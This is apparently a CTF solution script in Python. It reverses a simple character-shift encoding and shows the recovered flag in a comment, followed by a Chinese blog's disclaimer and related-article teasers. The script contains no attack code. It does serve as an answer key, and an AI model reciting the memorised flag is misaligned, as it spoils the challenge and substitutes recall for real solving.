alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
c = 'GRBRDB`jg10ij2g01i,g201gi,2gi2,012igaigagi|'

f1 = [alphabet.find(v)+1 for v in c]
f2 = [v+1-i for i,v in enumerate(f1)]
f3 = [alphabet[v-1] for v in f2]
f4 = [alphabet[(alphabet.find(v)+i)%94] for i,v in enumerate(f3)]
print(''.join(f4))
#HSCSEC{kh21jk3h12j-h312hj-3hj3-123jhbjhbhj}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/342897.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

12 循环神经网络(基础篇) Basic RNN

文章目录问题引入关于权重权重共享RNN CellRNN原理RNN计算过程代码实现RNN Cell维度说明代码RNN维度说明NumLayers说明计算过程代码参考实例问题分析多分类问题代码RNN CellRNN改进Embedding网络结构Embedding说明Linear说明代码课程来源&#xff1a; 链接课程文本参考&#xf…

前端react面试题指南

概述下 React 中的事件处理逻辑 抹平浏览器差异&#xff0c;实现更好的跨平台。避免垃圾回收&#xff0c;React 引入事件池&#xff0c;在事件池中获取或释放事件对象&#xff0c;避免频繁地去创建和销毁。方便事件统一管理和事务机制。 为了解决跨浏览器兼容性问题&#xff0…

CSS基础:盒子模型和浮动

盒子模型 所有HTML元素可以看作盒子&#xff0c;在CSS中&#xff0c;"box model"这一术语是用来设计和布局时使用 CSS盒模型本质上是一个盒子&#xff0c;封装HTML元素。 它包括&#xff1a;外边距&#xff08;margin&#xff09;&#xff0c;边框&#xff08;bord…

操作系统考试突击复习笔记

0 基础概念补充特权命令&#xff1a;有特殊权限的指令&#xff0c;比如清内存、置时钟、分配系统资源、修改虚拟内存的段表和页表&#xff0c;修改用户的访问权限。系统调用&#xff1a;操作系统为应用程序提供的使用接口&#xff0c;可以理解为一种可供应用程序调用的特殊函数…

Elasticsearch7.8.0版本进阶——数据写流程

目录一、数据写流程概述二、数据写流程步骤2.1、数据写流程图2.2、数据写流程步骤&#xff08;新建索引和删除文档所需要的步骤顺序&#xff09;2.3、数据写流程的请求参数一、数据写流程概述 新建、删除索引和新建、删除文档的请求都是写操作&#xff0c; 必须在主分片上面完…

http409报错原因

今天一个同事的接口突然报409,大概百度了一下,不是很清楚,谷歌也没找到特别好的解释 因为是直接调用的gitlab,就直接看了下gitlab的api The following table shows the possible return codes for API requests. Return valuesDescription200 OKThe GET, PUT or DELETE request…

【halcon】灰度直方图直观理解与应用

灰度直方图 横坐标&#xff1a;是 0~255 表示灰度值的范围 纵坐标&#xff1a;是在不同灰度值下像素的个数&#xff01; 那么灰度直方图的本质就是统计不同灰度下像素的个数&#xff01; 它的直观目的&#xff0c;就是查看灰度的分布情况&#xff01; 与之相关的函数&#xff…

宝塔搭建实战php开源likeadmin通用管理pc端nuxt3源码(三)

大家好啊&#xff0c;我是测评君&#xff0c;欢迎来到web测评。 昨天给大家分享了admin前端的搭建部署方式&#xff0c;今天来给大家分享pc端在本地搭建&#xff0c;与打包发布到宝塔的方法&#xff0c;希望能够帮助到大家&#xff0c;感兴趣的朋友可以自行下载学习。 技术架构…

C语言在游戏中播放音乐

使用 mciSendString 播放音乐 mciSendString 支持 mp3、wma、wav、mid 等多种媒体格式&#xff0c;使用非常简单。这里做一个简单的范例&#xff0c;用 mciSendString 函数播放 MP3 格式的音乐&#xff0c;代码如下&#xff1a; // 编译该范例前&#xff0c;请把 music.mp3 放…

Kotlin实现简单音乐播放器

关于音乐播放器&#xff0c;我真的是接触比较多&#xff0c;听歌作为我第一大爱好&#xff0c;之前也用Java设计过音乐播放器&#xff0c;感兴趣的同学可以阅读&#xff1a;Android Studio如何实现音乐播放器&#xff08;简单易上手&#xff09;和 Android Studio实现音乐播放器…

全链路异步,让你的 SpringCloud 性能优化10倍+

背景 随着业务的发展&#xff0c;微服务应用的流量越来越大&#xff0c;使用到的资源也越来越多。 在微服务架构下&#xff0c;大量的应用都是 SpringCloud 分布式架构&#xff0c;这种架构&#xff0c;总体是全链路同步模式。 同步编程模式不仅造成了资源的极大浪费&#x…

设计模式:适配器模式(c++实现案例)

适配器模式 适配器模式是将一个类的接口转换成客户希望的另外一个接口。适配器模式使得原本由于接口不兼容而不能一起工作的那些类可以一起工作。好比日本现在就只提供110V的电压&#xff0c;而我的电脑就需要220V的电压&#xff0c;那怎么办啦?适配器就是干这活的&#xff0…

CVE-2019-2725

//去年存货 前言 在学习内网过程中遇到了weblogic比较常见的漏洞&#xff0c;编号是cve-2019-2725,之前没有总结过&#xff0c;于是本篇文章给大家总结归纳一下该漏洞的利用方法与原理。 基础知识 cve-2019-2725漏洞的核心利用点是weblogic的xmldecoder反序列化漏洞&#x…

Bean(Spring)的执行流程和生命周期

Bean&#xff08;Spring&#xff09;的执行流程具体的流程就和我们创建Spring基本相似。启动 Spring 容器 -> 实例化 Bean&#xff08;分配内存空间&#xff0c;从无到有&#xff09; -> Bean 注册到 Spring 中&#xff08;存操作&#xff09; -> 将 Bean 装配到需要的…

基于微信小程序的医院挂号系统小程序

文末联系获取源码 开发语言&#xff1a;Java 框架&#xff1a;ssm JDK版本&#xff1a;JDK1.8 服务器&#xff1a;tomcat7 数据库&#xff1a;mysql 5.7/8.0 数据库工具&#xff1a;Navicat11 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.3.9 浏览器…

C# 泛型集合中的排序

集合排序问题与ICompareble对于C#最常见的集合List<T>&#xff0c;有时候需要进行排序&#xff0c;而List是直接有Sort方法&#xff0c;因此对于一个简单地整数集合排序&#xff0c;很简单&#xff1a;List<int> ints new List<int>() { 1, 3, 1, 4, 5, 9, …

LeetCode-222. 完全二叉树的节点个数

目录递归法改进题目来源222. 完全二叉树的节点个数递归法 递归三步曲 1.确定递归函数的参数和返回值 参数就是传入树的根节点&#xff0c;返回就返回以该节点为根节点二叉树的节点数量&#xff0c;所以返回值为int类型。 int countNodes(TreeNode root)2.确定终止条件 如果…

网络安全-Pyhton环境搭建

网络安全-Pyhton环境搭建 https://www.kali.org/get-kali/#kali-installer-images—kali官网下载地址 python这个东东呢 是目前来说最简单&#xff0c;方便的开源的脚本语言 广泛用于Web开发&#xff0c;AI&#xff0c;网站开发等领域 python要装2和3 为什么要安装两个版本…

Word处理控件Aspose.Words功能演示:使用 C++ 合并 MS Word 文档

Aspose.Words 是一种高级Word文档处理API&#xff0c;用于执行各种文档管理和操作任务。API支持生成&#xff0c;修改&#xff0c;转换&#xff0c;呈现和打印文档&#xff0c;而无需在跨平台应用程序中直接使用Microsoft Word。此外&#xff0c;API支持所有流行的Word处理文件…

34岁测试工程师被辞退,难道测试岗位真的只是青春饭吗?

一&#xff1a;前言&#xff1a;人生的十字路口静坐反思 入软件测试这一行至今已经10年多&#xff0c;承蒙领导们的照顾与重用&#xff0c;同事的支持与信任&#xff0c;我的职业发展算是相对较好&#xff0c;从入行到各类测试技术岗位&#xff0c;再到测试总监&#xff0c;再…